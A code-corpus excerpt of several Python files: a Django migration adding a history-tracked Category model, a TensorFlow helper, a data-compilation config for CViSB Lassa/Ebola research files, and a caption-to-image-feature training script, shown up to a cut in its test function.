('history_date', models.DateTimeField()),
('history_change_reason', models.CharField(max_length=100, null=True)),
('history_type', models.CharField(choices=[('+', 'Created'), ('~', 'Changed'), ('-', 'Deleted')], max_length=1)),
('history_user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to=settings.AUTH_USER_MODEL)),
('parent', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='contacts.Category')),
],
options={
'verbose_name': 'historical category',
'ordering': ('-history_date', '-history_id'),
'get_latest_by': 'history_date',
},
bases=(simple_history.models.HistoricalChanges, models.Model),
),
migrations.AddField(
model_name='contact',
name='category',
field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, to='contacts.Category'),
),
migrations.AddField(
model_name='historicalcontact',
name='category',
field=models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='contacts.Category'),
),
]
| <filename>contacts/migrations/0012_auto_20190418_0543.py
# Generated by Django 2.1.7 on 2019-04-18 05:43
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
import pik.core.models.uided
import simple_history.models
import core.fields
class Migration(migrations.Migration):
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
('contacts', '0011_auto_20190403_0607'),
]
operations = [
migrations.CreateModel(
name='Category',
fields=[
('created', models.DateTimeField(auto_now_add=True, db_index=True, verbose_name='created')),
('updated', models.DateTimeField(auto_now=True, db_index=True, verbose_name='updated')),
('uid', models.UUIDField(default=pik.core.models.uided._new_uid, editable=False, primary_key=True, serialize=False)),
('version', models.IntegerField(editable=False)),
('name', core.fields.NormalizedCharField(max_length=255, verbose_name='Название')),
('parent', models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, to='contacts.Category')),
],
options={
'abstract': False,
},
),
migrations.CreateModel(
name='HistoricalCategory',
fields=[
('created', models.DateTimeField(blank=True, db_index=True, editable=False, verbose_name='created')),
('updated', models.DateTimeField(blank=True, db_index=True, editable=False, verbose_name='updated')),
('uid', models.UUIDField(db_index=True, default=pik.core.models.uided._new_uid, editable=False)),
('version', models.IntegerField(editable=False)),
('name', core.fields.NormalizedCharField(max_length=255, verbose_name='Название')),
('history_id', models.AutoField(primary_key=True, serialize=False)),
('history_date', models.DateTimeField()),
('history_change_reason', models.CharField(max_length=100, null=True)),
('history_type', models.CharField(choices=[('+', 'Created'), ('~', 'Changed'), ('-', 'Deleted')], max_length=1)),
('history_user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to=settings.AUTH_USER_MODEL)),
('parent', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='contacts.Category')),
],
options={
'verbose_name': 'historical category',
'ordering': ('-history_date', '-history_id'),
'get_latest_by': 'history_date',
},
bases=(simple_history.models.HistoricalChanges, models.Model),
),
migrations.AddField(
model_name='contact',
name='category',
field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, to='contacts.Category'),
),
migrations.AddField(
model_name='historicalcontact',
name='category',
field=models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='contacts.Category'),
),
]
| en | 0.620975 | # Generated by Django 2.1.7 on 2019-04-18 05:43 | 1.593965 | 2 |
castanea/utils/with_none.py | YusukeSuzuki/castanea | 0 | 6623582 | <gh_stars>0
import tensorflow as tf
class WithNone:
def __enter__(self): pass
def __exit__(self,t,v,tb): pass
def device_or_none(x):
return WithNone() if x is None else tf.device(x)
| import tensorflow as tf
class WithNone:
def __enter__(self): pass
def __exit__(self,t,v,tb): pass
def device_or_none(x):
return WithNone() if x is None else tf.device(x) | none | 1 | 2.574156 | 3 | |
sample-viewer-api/src/static/data/compile_cvisb_data/config.py | cvisb/cvisb_data | 2 | 6623583 | # Config file to specify the inputs / outputs of CViSB data compilation
from datetime import datetime
today = datetime.today().strftime('%Y-%m-%d')
DATADIR = "/Users/laurahughes/GitHub/cvisb_data/sample-viewer-api/src/static/data/"
# [INPUTS] ----------------------------------------------------------------------------------------------
# --- id dictionary ---
ID_DICT = f"{DATADIR}/output_data/patients/patients_2019-09-13_PRIVATE_dict.json"
# --- patients ---
# ACUTE_IDS_FILE = f"{DATADIR}/input_data/patient_rosters/additional_IDdict_v3_2019-10-23.csv"
PATIENT_FILE = f"{DATADIR}/input_data/expt_summary_data/HLA/DisseminationData_31Aug20.xlsx"
PATIENTS_UPDATEDBY = "<NAME>"
PATIENTS_DATE = today
PATIENTS_VERSION = 0.3
# --- hla ---
HLA_FILE = f"{DATADIR}/input_data/expt_summary_data/HLA/Genotype_calls_2020-01-30.csv"
HLA_DATE = "2020-11-23"
HLA_VERSION = 0.3
HLA_UPDATEDBY = "<NAME>"
# --- lassa virus seq ---
ALIGNMENTS = [
{"virus": "Lassa",
"segment": "S",
"filename": "LASV_NP-GP_2020.11.23.fasta",
"description": "Lassa virus NP-GP curated alignment",
"curated": True,
"url": "https://raw.githubusercontent.com/cvisb/curated-alignments/master/lassa/LASV_NP_GPC_2020.11.23.fasta"},
{"virus": "Lassa",
"segment": "L",
"filename": "LASV_L_Z_2020.11.23.fasta",
"description": "Lassa virus L-Z curated alignment",
"curated": True,
"url": "https://raw.githubusercontent.com/cvisb/curated-alignments/master/lassa/LASV_L_Z_2020.11.23.fasta"},
{"virus": "Ebola",
"segment": None,
"filename": "EBOV_ORFs_2020.08.04.fasta",
"curated": True,
"description": "Ebola virus curated alignment",
"url": "https://raw.githubusercontent.com/cvisb/curated-alignments/master/ebola/EBOV_ORFs_2020.08.04.fasta"}
]
# LVIRAL_AAFILE = f"{DATADIR}/input_data/expt_summary_data/viral_seq/LASV_curated_aln_2019.09.11_duplicates_public.translated.fasta"
LVIRAL_SFILE = f"{DATADIR}/input_data/expt_summary_data/viral_seq/LASV_NP_GPC_2020.11.23.fasta"
LVIRAL_SFILE_UNCURATED = f"{DATADIR}/input_data/expt_summary_data/viral_seq/LASV_NP_GPC_non_curated_2020.11.23.fasta"
LVIRAL_LFILE = f"{DATADIR}/input_data/expt_summary_data/viral_seq/LASV_L_Z_2020.11.23.fasta"
LVIRAL_LFILE_UNCURATED = f"{DATADIR}/input_data/expt_summary_data/viral_seq/LASV_L_Z_non_curated_2020.11.23.fasta"
LVIRAL_MDFILE = f"{DATADIR}/input_data/expt_summary_data/viral_seq/dataset_lasv_curated_2020.11.23.csv"
LVIRAL_DATE = "2020-11-23"
LVIRAL_VERSION = 0.3
LVIRAL_UPDATEDBY = "<NAME>"
# --- ebola virus seq ---
EVIRAL_ALIGNEDFILE = f"{DATADIR}/input_data/expt_summary_data/viral_seq/EBOV_ORFs_up_public_curated_2020.08.04.fasta"
EVIRAL_FILE_UNCURATED = f"{DATADIR}/input_data/expt_summary_data/viral_seq/EBOV_ORFs_up_public_non_curated_2020.08.04.fasta"
EVIRAL_MDFILE = f"{DATADIR}/input_data/expt_summary_data/viral_seq/dataset_ebola_up_public_curated_2020.08.03.csv"
EVIRAL_DATE = "2020-11-16"
EVIRAL_VERSION = 0.3
EVIRAL_UPDATEDBY = "<NAME>"
# --- serology ---
SEROLOGY_FILE = f"{DATADIR}/input_data/expt_summary_data/systems_serology/CViSB_SystemsSerology_v0.2_2019Nov22_LH.xlsx"
SEROLOGY_DATE = today
SEROLOGY_VERSION = 0.2
SEROLOGY_UPDATEDBY = "<NAME>"
# [OUPUTS] ----------------------------------------------------------------------------------------------
EXPORTDIR = f"{DATADIR}/output_data"
LOGFILE = f"{DATADIR}/output_data/log/{today}_cvisb-compliation.log"
EXPTCOLS = ['privatePatientID', 'experimentID', 'sampleID', 'visitCode', 'batchID', 'experimentDate',
'measurementTechnique', 'measurementCategory', 'variableMeasured', 'includedInDataset', 'isControl',
'publisher', 'citation', 'creator',
'data', 'correction', 'version',
'updatedBy', 'dateModified', 'releaseDate', 'sourceFiles', 'dataStatus']
# for non-KGH patients: what info should be
PATIENTCOLS = [
"patientID", "species", "alternateIdentifier",
"hasPatientData", "hasSurvivorData",
"dateModified", "updatedBy", "dataStatus",
'sourceFiles', "version",
"cohort", "outcome",
"country", "countryName", "location", "locationPrivate",
"infectionYear",
'publisher', 'citation','correction']
# For all experiments, to relate sample <--> experiment
SAMPLECOLS = ["creatorInitials", "sampleLabel",
"sampleType", "species", "sampleID", "samplingDate", 'sourceFiles']
# All data download properties, from experiments
DOWNLOADCOLS = ["name", "includedInDataset", "identifier", "contentUrl", "additionalType",
"variableMeasured", "measurementTechnique", "measurementCategory", "dateModified", "experimentIDs",
"contentUrlRepository", "contentUrlIdentifier", "citation", "updatedBy", 'publisher', "creator"]
# Properties to export in patient ID dictionary
DICTCOLS = ["patientID", "gID", "sID", "publicGID", "publicSID", "cohort", "outcome", "alternateIdentifier",
'evalDate', 'dischargeDate', 'daysOnset', 'infectionDate',
"age", "gender", "countryName", "elisa", "issue"]
# DICTCOLS = ["patientID", "gID", "sID", "publicGID", "publicSID", "cohort", "outcome", "alternateIdentifier",
# "issue"]
# [GENERAL PARAMS] --------------------------------------------------------------------------------------
SAVEINIVIDUAL = False
| # Config file to specify the inputs / outputs of CViSB data compilation
from datetime import datetime
today = datetime.today().strftime('%Y-%m-%d')
DATADIR = "/Users/laurahughes/GitHub/cvisb_data/sample-viewer-api/src/static/data/"
# [INPUTS] ----------------------------------------------------------------------------------------------
# --- id dictionary ---
ID_DICT = f"{DATADIR}/output_data/patients/patients_2019-09-13_PRIVATE_dict.json"
# --- patients ---
# ACUTE_IDS_FILE = f"{DATADIR}/input_data/patient_rosters/additional_IDdict_v3_2019-10-23.csv"
PATIENT_FILE = f"{DATADIR}/input_data/expt_summary_data/HLA/DisseminationData_31Aug20.xlsx"
PATIENTS_UPDATEDBY = "<NAME>"
PATIENTS_DATE = today
PATIENTS_VERSION = 0.3
# --- hla ---
HLA_FILE = f"{DATADIR}/input_data/expt_summary_data/HLA/Genotype_calls_2020-01-30.csv"
HLA_DATE = "2020-11-23"
HLA_VERSION = 0.3
HLA_UPDATEDBY = "<NAME>"
# --- lassa virus seq ---
ALIGNMENTS = [
{"virus": "Lassa",
"segment": "S",
"filename": "LASV_NP-GP_2020.11.23.fasta",
"description": "Lassa virus NP-GP curated alignment",
"curated": True,
"url": "https://raw.githubusercontent.com/cvisb/curated-alignments/master/lassa/LASV_NP_GPC_2020.11.23.fasta"},
{"virus": "Lassa",
"segment": "L",
"filename": "LASV_L_Z_2020.11.23.fasta",
"description": "Lassa virus L-Z curated alignment",
"curated": True,
"url": "https://raw.githubusercontent.com/cvisb/curated-alignments/master/lassa/LASV_L_Z_2020.11.23.fasta"},
{"virus": "Ebola",
"segment": None,
"filename": "EBOV_ORFs_2020.08.04.fasta",
"curated": True,
"description": "Ebola virus curated alignment",
"url": "https://raw.githubusercontent.com/cvisb/curated-alignments/master/ebola/EBOV_ORFs_2020.08.04.fasta"}
]
# LVIRAL_AAFILE = f"{DATADIR}/input_data/expt_summary_data/viral_seq/LASV_curated_aln_2019.09.11_duplicates_public.translated.fasta"
LVIRAL_SFILE = f"{DATADIR}/input_data/expt_summary_data/viral_seq/LASV_NP_GPC_2020.11.23.fasta"
LVIRAL_SFILE_UNCURATED = f"{DATADIR}/input_data/expt_summary_data/viral_seq/LASV_NP_GPC_non_curated_2020.11.23.fasta"
LVIRAL_LFILE = f"{DATADIR}/input_data/expt_summary_data/viral_seq/LASV_L_Z_2020.11.23.fasta"
LVIRAL_LFILE_UNCURATED = f"{DATADIR}/input_data/expt_summary_data/viral_seq/LASV_L_Z_non_curated_2020.11.23.fasta"
LVIRAL_MDFILE = f"{DATADIR}/input_data/expt_summary_data/viral_seq/dataset_lasv_curated_2020.11.23.csv"
LVIRAL_DATE = "2020-11-23"
LVIRAL_VERSION = 0.3
LVIRAL_UPDATEDBY = "<NAME>"
# --- ebola virus seq ---
EVIRAL_ALIGNEDFILE = f"{DATADIR}/input_data/expt_summary_data/viral_seq/EBOV_ORFs_up_public_curated_2020.08.04.fasta"
EVIRAL_FILE_UNCURATED = f"{DATADIR}/input_data/expt_summary_data/viral_seq/EBOV_ORFs_up_public_non_curated_2020.08.04.fasta"
EVIRAL_MDFILE = f"{DATADIR}/input_data/expt_summary_data/viral_seq/dataset_ebola_up_public_curated_2020.08.03.csv"
EVIRAL_DATE = "2020-11-16"
EVIRAL_VERSION = 0.3
EVIRAL_UPDATEDBY = "<NAME>"
# --- serology ---
SEROLOGY_FILE = f"{DATADIR}/input_data/expt_summary_data/systems_serology/CViSB_SystemsSerology_v0.2_2019Nov22_LH.xlsx"
SEROLOGY_DATE = today
SEROLOGY_VERSION = 0.2
SEROLOGY_UPDATEDBY = "<NAME>"
# [OUPUTS] ----------------------------------------------------------------------------------------------
EXPORTDIR = f"{DATADIR}/output_data"
LOGFILE = f"{DATADIR}/output_data/log/{today}_cvisb-compliation.log"
EXPTCOLS = ['privatePatientID', 'experimentID', 'sampleID', 'visitCode', 'batchID', 'experimentDate',
'measurementTechnique', 'measurementCategory', 'variableMeasured', 'includedInDataset', 'isControl',
'publisher', 'citation', 'creator',
'data', 'correction', 'version',
'updatedBy', 'dateModified', 'releaseDate', 'sourceFiles', 'dataStatus']
# for non-KGH patients: what info should be
PATIENTCOLS = [
"patientID", "species", "alternateIdentifier",
"hasPatientData", "hasSurvivorData",
"dateModified", "updatedBy", "dataStatus",
'sourceFiles', "version",
"cohort", "outcome",
"country", "countryName", "location", "locationPrivate",
"infectionYear",
'publisher', 'citation','correction']
# For all experiments, to relate sample <--> experiment
SAMPLECOLS = ["creatorInitials", "sampleLabel",
"sampleType", "species", "sampleID", "samplingDate", 'sourceFiles']
# All data download properties, from experiments
DOWNLOADCOLS = ["name", "includedInDataset", "identifier", "contentUrl", "additionalType",
"variableMeasured", "measurementTechnique", "measurementCategory", "dateModified", "experimentIDs",
"contentUrlRepository", "contentUrlIdentifier", "citation", "updatedBy", 'publisher', "creator"]
# Properties to export in patient ID dictionary
DICTCOLS = ["patientID", "gID", "sID", "publicGID", "publicSID", "cohort", "outcome", "alternateIdentifier",
'evalDate', 'dischargeDate', 'daysOnset', 'infectionDate',
"age", "gender", "countryName", "elisa", "issue"]
# DICTCOLS = ["patientID", "gID", "sID", "publicGID", "publicSID", "cohort", "outcome", "alternateIdentifier",
# "issue"]
# [GENERAL PARAMS] --------------------------------------------------------------------------------------
SAVEINIVIDUAL = False
| en | 0.484559 | # Config file to specify the inputs / outputs of CViSB data compilation # [INPUTS] ---------------------------------------------------------------------------------------------- # --- id dictionary --- # --- patients --- # ACUTE_IDS_FILE = f"{DATADIR}/input_data/patient_rosters/additional_IDdict_v3_2019-10-23.csv" # --- hla --- # --- lassa virus seq --- # LVIRAL_AAFILE = f"{DATADIR}/input_data/expt_summary_data/viral_seq/LASV_curated_aln_2019.09.11_duplicates_public.translated.fasta" # --- ebola virus seq --- # --- serology --- # [OUPUTS] ---------------------------------------------------------------------------------------------- # for non-KGH patients: what info should be # For all experiments, to relate sample <--> experiment # All data download properties, from experiments # Properties to export in patient ID dictionary # DICTCOLS = ["patientID", "gID", "sID", "publicGID", "publicSID", "cohort", "outcome", "alternateIdentifier", # "issue"] # [GENERAL PARAMS] -------------------------------------------------------------------------------------- | 1.908799 | 2 |
main.py | gchrupala/imaginet | 7 | 6623584 | <filename>main.py
#!/usr/bin/env python
from __future__ import division
import sys
sys.path.append('/home/gchrupala/repos/Passage')
sys.path.append('/home/gchrupala/repos/neuraltalk')
from passage.layers import Embedding, SimpleRecurrent, LstmRecurrent, GatedRecurrent #, Dense
from layers import *
from passage.costs import MeanSquaredError
from imaginet import *
from passage.preprocessing import Tokenizer, tokenize
import passage.utils
import passage.updates
from passage.iterators import SortedPadded
import imagernn.data_provider as dp
import cPickle
from scipy.spatial.distance import cosine, cdist
import numpy
import os.path
import argparse
import random
from sklearn.feature_extraction.text import CountVectorizer
from sklearn.linear_model import Ridge
from sklearn.preprocessing import StandardScaler
import json
import gzip
def main():
parser = argparse.ArgumentParser(
description='Learn to rank images according to similarity to \
caption meaning')
parser.add_argument('--predict', dest='predict',
action='store_true', help='Run in prediction mode')
parser.add_argument('--paraphrase', dest='paraphrase',
action='store_true', help='Run in paraphrasing mode')
parser.add_argument('--paraphrase_state', dest='paraphrase_state', default='hidden_multi',
help='Which state to use for paraphrase retrieval (hidden_multi, hidden_vis, hidden_text, output_vis)')
parser.add_argument('--extract_embeddings', dest='extract_embeddings',
action='store_true',
help='Extract embeddings from trained model')
parser.add_argument('--project_words', dest='project_words',
action='store_true', help='Project words from vocabulary to visual space')
parser.add_argument('--model', dest='model', default='model.dat.gz',
help='Path to write model to')
parser.add_argument('--model_type', dest='model_type', default='simple',
help='Type of model: (linear, simple, shared_embeddings, shared_all)')
parser.add_argument('--character', dest='character', action='store_true',
help='Character-level model')
parser.add_argument('--zero_shot', dest='zero_shot', action='store_true',
help='Disable visual signal for sentences containing words in zero_shot.pkl.gz')
parser.add_argument('--tokenizer', dest='tokenizer', default='tok.pkl.gz',
help='Path to write tokenizer to')
parser.add_argument('--init_model', dest='init_model', default=None,
help='Initialize model weights with model from given path')
parser.add_argument('--init_tokenizer', dest='init_tokenizer', default=None,
help='Use tokenizer from given path')
parser.add_argument('--iter_predict', type=int,
help='Model after that many iterations will be used to predict')
parser.add_argument('--scramble', action='store_true',
help='Scramble words in a test sentence')
parser.add_argument('--distance', default='cosine',
help='Distance metric to rank images')
parser.add_argument('--dataset', dest='dataset', default='flickr8k',
help='Dataset: flick8k, flickr30k, coco')
parser.add_argument('--hidden_size', dest='hidden_size', type=int, default=256,
help='size of the hidden layer')
parser.add_argument('--embedding_size', dest='embedding_size', type=int, default=None,
help='size of (word) embeddings')
parser.add_argument('--hidden_type', default='gru',
help='recurrent layer type: gru, lstm')
parser.add_argument('--activation', default='tanh',
help='activation of the hidden layer units')
parser.add_argument('--out_activation', default='linear',
help='Activation of output units')
parser.add_argument('--cost', default='MeanSquaredError',
help='Image prediction cost function')
parser.add_argument('--scaler', dest='scaler', default='none',
help='Method to scale targets (none, standard)')
parser.add_argument('--rate', dest='rate', type=float, default=0.0002,
help='Learning rate')
parser.add_argument('--clipnorm', dest='clipnorm', type=float, default=0.0,
help='Gradients with norm larger than clipnorm will be scaled')
parser.add_argument('--alpha', dest='alpha', type=float, default=0.0,
help='Interpolation parameter for LM cost vs image cost')
parser.add_argument('--ridge_alpha', dest='ridge_alpha', type=float, default=1.0,
help='Regularization for linear regression model')
parser.add_argument('--non_interpolated', dest='non_interpolated', action='store_true',
help='Use non-interpolated cost')
parser.add_argument('--iterations', dest='iterations', type=int, default=10,
help='Number of training iterations')
parser.add_argument('--word_freq_threshold', dest='word_freq_threshold', type=int, default=10,
help='Map words below this threshold to UNK')
parser.add_argument('--shuffle', dest='shuffle', action='store_true',
help='Shuffle training data')
parser.add_argument('--random_seed', dest='random_seed', default=None, type=int,
help='Random seed')
parser.add_argument('--snapshot_freq', dest='snapshot_freq', type=int, default=5,
help='How many iterations to save model')
parser.add_argument('--batch_size', dest='batch_size', type=int, default=64,
help='Batch size')
args = parser.parse_args()
if args.random_seed is not None:
numpy.random.seed(args.random_seed)
if args.project_words:
project_words(args)
elif args.predict and args.model_type == 'linear':
test_linear(args)
elif args.predict and args.model_type != 'linear':
test(args)
elif args.extract_embeddings:
extract_embeddings(args)
elif args.model_type == 'linear':
train_linear(args)
else:
train(args)
def train_linear(args):
p = dp.getDataProvider(args.dataset)
data = list(p.iterImageSentencePair(split='train'))
texts = [ pair['sentence']['raw'] for pair in data ]
images = [ pair['image']['feat'] for pair in data ]
analyzer = 'char' if args.character else 'word'
vectorizer = CountVectorizer(min_df=args.word_freq_threshold, analyzer=analyzer, lowercase=True,
ngram_range=(1,1))
X = vectorizer.fit_transform(texts)
scaler = StandardScaler() if args.scaler == 'standard' else NoScaler()
sys.stderr.write("BOW computed\n")
Y = scaler.fit_transform(numpy.array(images))
model = Ridge(solver='lsqr', alpha=args.ridge_alpha)
sys.stderr.write("Starting training\n")
model.fit(X,Y)
sys.stderr.write("Saving model\n")
cPickle.dump(model, gzip.open('model.dat.gz','w'))
cPickle.dump(vectorizer, gzip.open('vec.pkl.gz','w'))
cPickle.dump(scaler, gzip.open('vec.pkl.gz', 'w'))
def test_linear(args):
if args.random_seed is not None:
numpy.random.seed(args.random_seed)
D = Cdist()
model = cPickle.load(gzip.open('model.dat.gz'))
vectorizer = cPickle.load(gzip.open('vec.pkl.gz'))
scaler = cPickle.load(gzip.open('scaler.pkl.gz'))
real_stdout = sys.stdout
with open('/dev/null', 'w') as f:
sys.stdout = f
d = dp.getDataProvider(args.dataset)
sys.stdout = real_stdout
pairs = list(d.iterImageSentencePair(split='val'))
texts = [ pair['sentence']['raw'] for pair in pairs ]
images = list(d.iterImages(split='val')) # With pairs we'd get duplicate images!
X = vectorizer.transform(texts)
Y_pred = numpy.asarray(model.predict(X), dtype='float32') # candidates are identical to Y_pred
if args.paraphrase:
#distances = D.cosine_distance(Y_pred, Y_pred)
distances = cdist(Y_pred, Y_pred, metric='cosine')
N = 0
score = 0.0
for j,row in enumerate(distances):
imgid = pairs[j]['sentence']['imgid']
sentid = pairs[j]['sentence']['sentid']
best = numpy.argsort(row)
top4 = sum([ imgid == pairs[b]['sentence']['imgid'] for b
in best[0:5] if sentid != pairs[b]['sentence']['sentid'] ][0:4]) # exclude self
score = score + top4/4.0
N = N+1
print args.iter_predict, N, score/N
else:
Y = numpy.array([ image['feat'] for image in images], dtype='float32')
distances = D.cosine_distance(Y_pred, Y)
errors = 0
N = 0
for j,row in enumerate(distances):
imgid = pairs[j]['sentence']['imgid']
best = numpy.argsort(row)
top5 = [ images[b]['imgid'] for b in best[:5] ]
N = N+1
if imgid not in top5:
errors = errors + 1
print errors, N, errors/N
def train(args):
zero_words = cPickle.load(gzip.open("zero_shot.pkl.gz")) if args.zero_shot else set()
def maybe_zero(s, i):
overlap = set(tokenize(s)).intersection(zero_words)
if args.zero_shot and len(overlap) > 0:
return numpy.zeros(i.shape)
else:
return i
dataset = args.dataset
tok_path = args.tokenizer
model_path = args.model
d = dp.getDataProvider(dataset)
pairs = list(d.iterImageSentencePair(split='train'))
if args.shuffle:
numpy.random.shuffle(pairs)
output_size = len(pairs[0]['image']['feat'])
embedding_size = args.embedding_size if args.embedding_size is not None else args.hidden_size
tokenizer = cPickle.load(gzip.open(args.init_tokenizer)) \
if args.init_tokenizer else Tokenizer(min_df=args.word_freq_threshold, character=args.character)
sentences, images = zip(*[ (pair['sentence']['raw'], maybe_zero(pair['sentence']['raw'],pair['image']['feat']))
for pair in pairs ])
scaler = StandardScaler() if args.scaler == 'standard' else NoScaler()
images = scaler.fit_transform(images)
tokens = [ [tokenizer.encoder['PAD']] + sent + [tokenizer.encoder['END'] ]
for sent in tokenizer.fit_transform(sentences) ]
tokens_inp = [ token[:-1] for token in tokens ]
tokens_out = [ token[1:] for token in tokens ]
cPickle.dump(tokenizer, gzip.open(tok_path, 'w'))
cPickle.dump(scaler, gzip.open('scaler.pkl.gz','w'))
# Validation data
valid_pairs = list(d.iterImageSentencePair(split='val'))
valid_sents, valid_images = zip(*[ (pair['sentence']['raw'], pair['image']['feat'])
for pair in valid_pairs ])
valid_images = scaler.transform(valid_images)
valid_tokens = [ [ tokenizer.encoder['PAD'] ] + sent + [tokenizer.encoder['END'] ]
for sent in tokenizer.transform(valid_sents) ]
valid_tokens_inp = [ token[:-1] for token in valid_tokens ]
valid_tokens_out = [ token[1:] for token in valid_tokens ]
valid = (valid_tokens_inp, valid_tokens_out, valid_images)
updater = passage.updates.Adam(lr=args.rate, clipnorm=args.clipnorm)
if args.cost == 'MeanSquaredError':
z_cost = MeanSquaredError
elif args.cost == 'CosineDistance':
z_cost = CosineDistance
else:
raise ValueError("Unknown cost")
if args.hidden_type == 'gru':
Recurrent = GatedRecurrent
elif args.hidden_type == 'lstm':
Recurrent = LstmRecurrent
else:
Recurrent = GatedRecurrent
# if args.init_model is not None:
# model_init = cPickle.load(open(args.init_model))
# def values(ps):
# return [ p.get_value() for p in ps ]
# # FIXME enable this for shared only embeddings
# layers = [ Embedding(size=args.hidden_size, n_features=tokenizer.n_features,
# weights=values(model_init.layers[0].params)),
# Recurrent(seq_output=True, size=args.hidden_size, activation=args.activation,
# weights=values(model_init.layers[1].params)),
# Combined(left=Dense(size=tokenizer.n_features, activation='softmax', reshape=True,
# weights=values(model_init.layers[2].left.params)),
# right=Dense(size=output_size, activation=args.out_activation,
# weights=values(model_init.layers[2].right.params))
# ) ]
# else:
# FIXME implement proper pretraining FIXME
interpolated = True if not args.non_interpolated else False
if args.model_type in ['add', 'mult', 'matrix']:
if args.model_type == 'add':
layer0 = Direct(size=embedding_size, n_features=tokenizer.n_features, op=Add)
elif args.model_type == 'mult':
layer0 = Direct(size=embedding_size, n_features=tokenizer.n_features, op=Mult)
elif args.model_type == 'matrix':
sqrt_size = embedding_size ** 0.5
if not sqrt_size.is_integer():
raise ValueError("Sqrt of embedding_size not integral for matrix model")
layer0 = Direct(size=embedding_size, n_features=tokenizer.n_features, op=MatrixMult)
layers = [ layer0, Dense(size=output_size, activation=args.out_activation, reshape=False) ]
valid = (valid_tokens_inp, valid_images)
model = RNN(layers=layers, updater=updater, cost=z_cost,
iterator=SortedPadded(shuffle=False), verbose=1)
model.fit(tokens_inp, images, n_epochs=args.iterations, batch_size=args.batch_size, len_filter=None,
snapshot_freq=args.snapshot_freq, path=model_path, valid=valid)
elif args.model_type == 'simple':
layers = [ Embedding(size=embedding_size, n_features=tokenizer.n_features),
Recurrent(seq_output=False, size=args.hidden_size, activation=args.activation),
Dense(size=output_size, activation=args.out_activation, reshape=False)
]
valid = (valid_tokens_inp, valid_images)
model = RNN(layers=layers, updater=updater, cost=z_cost,
iterator=SortedPadded(shuffle=False), verbose=1)
model.fit(tokens_inp, images, n_epochs=args.iterations, batch_size=args.batch_size, len_filter=None,
snapshot_freq=args.snapshot_freq, path=model_path, valid=valid)
# FIXME need validation
elif args.model_type == 'deep-simple':
layers = [ Embedding(size=embedding_size, n_features=tokenizer.n_features),
Recurrent(seq_output=True, size=args.hidden_size, activation=args.activation),
Recurrent(seq_output=False, size=args.hidden_size, activation=args.activation),
Dense(size=output_size, activation=args.out_activation, reshape=False)
]
valid = (valid_tokens_inp, valid_images)
model = RNN(layers=layers, updater=updater, cost=z_cost,
iterator=SortedPadded(shuffle=False), verbose=1)
model.fit(tokens_inp, images, n_epochs=args.iterations, batch_size=args.batch_size, len_filter=None,
snapshot_freq=args.snapshot_freq, path=model_path, valid=valid)
# FIXME need validation
elif args.model_type == 'shared_all':
if args.zero_shot:
raise NotImplementedError # FIXME zero_shot not implemented
layers = [ Embedding(size=embedding_size, n_features=tokenizer.n_features),
Recurrent(seq_output=True, size=args.hidden_size, activation=args.activation),
Combined(left=Dense(size=tokenizer.n_features, activation='softmax', reshape=True),
right=Dense(size=output_size, activation=args.out_activation, reshape=False)) ]
model = ForkedRNN(layers=layers, updater=updater, cost_y=CategoricalCrossEntropySwapped,
cost_z=z_cost, alpha=args.alpha, size_y=tokenizer.n_features,
verbose=1, interpolated=interpolated)
model.fit(tokens_inp, tokens_out, images, n_epochs=args.iterations, batch_size=args.batch_size,
snapshot_freq=args.snapshot_freq, path=model_path, valid=valid)
elif args.model_type == 'shared_embeddings':
layers = [ Embedding(size=embedding_size, n_features=tokenizer.n_features),
Combined(left=Stacked([Recurrent(seq_output=True, size=args.hidden_size, activation=args.activation),
Dense(size=tokenizer.n_features, activation='softmax', reshape=True)]),
left_type='id',
right=Stacked([Recurrent(seq_output=False, size=args.hidden_size, activation=args.activation),
Dense(size=output_size, activation=args.out_activation, reshape=False)]),
right_type='id')
]
model = ForkedRNN(layers=layers, updater=updater, cost_y=CategoricalCrossEntropySwapped,
cost_z=z_cost, alpha=args.alpha, size_y=tokenizer.n_features,
verbose=1, interpolated=interpolated, zero_shot=args.zero_shot)
model.fit(tokens_inp, tokens_out, images, n_epochs=args.iterations, batch_size=args.batch_size,
snapshot_freq=args.snapshot_freq, path=model_path, valid=valid)
cPickle.dump(model, gzip.open(model_path,"w"))
def test(args):
if args.random_seed is not None:
numpy.random.seed(args.random_seed)
def scramble(words):
ixs = range(len(words))
random.shuffle(ixs)
return [ words[ix] for ix in ixs ]
testInfo = {'argv': sys.argv,
'dataset': args.dataset,
'scramble': args.scramble,
'model_type': args.model_type,
'alpha': args.alpha,
'iter_predict': args.iter_predict,
'task': 'paraphrase' if args.paraphrase else 'image',
'items': []}
D = Cdist()
dataset = args.dataset
suffix = '' if args.iter_predict is None else ".{0}".format(args.iter_predict)
model = cPickle.load(gzip.open('model.dat.gz' + suffix))
tokenizer = cPickle.load(gzip.open('tok.pkl.gz'))
scaler = cPickle.load(gzip.open('scaler.pkl.gz'))
real_stdout = sys.stdout
with open('/dev/null', 'w') as f:
sys.stdout = f
d = dp.getDataProvider(args.dataset)
sys.stdout = real_stdout
pairs = list(d.iterImageSentencePair(split='val'))
inputs = [ scramble(s) if args.scramble else s for s in tokenizer.transform([ pair['sentence']['raw'] for pair in pairs]) ]
if args.paraphrase:
candidates = tokenizer.transform([ pair['sentence']['raw'] for pair in pairs]) # No scrambling of candidates
if args.paraphrase_state == 'output_vis':
preds = model.predict(inputs)
candidates_pred = model.predict(candidates)
elif args.paraphrase_state == 'hidden_text':
preds, _ = predict_h(model, inputs)
candidates_pred, _ = predict_h(model, candidates)
elif args.paraphrase_state == 'hidden_vis' and hasattr(model.layers[1], 'left'):
_, preds = predict_h(model, inputs)
_, candidates_pred = predict_h(model, candidates)
elif args.paraphrase_state == 'hidden_vis' and not hasattr(model.layers[1], 'left'):
